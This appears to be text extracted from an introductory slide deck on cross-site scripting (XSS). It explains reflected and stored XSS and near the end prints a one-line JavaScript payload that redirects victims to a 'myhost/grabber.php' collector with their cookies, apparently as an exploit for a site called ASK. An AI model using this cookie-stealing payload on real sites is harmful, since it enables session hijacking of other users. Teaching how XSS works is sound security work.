What Is XSS ? ! Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to

Embed Size (px)

DESCRIPTION

Simple Vulnerability

Citation preview

What Is XSS ? ! Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls Simple Vulnerability Reaction Fixed Code Reaction Non-Persistent XSS The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type.These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to parse and display a page of results for and to that user, without properly sanitizing the request.( Example: Search ENGINE ) Persistent XSS The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. Example: Comment Box, Online Messeage Box And etc Non-Persistent XSS In ASK Exploit ASK XSS Vulnerability File.js Content location.href='http://myhost/grabber.php?c ookie='+document.cookie; Grabber.php Content Thanks To All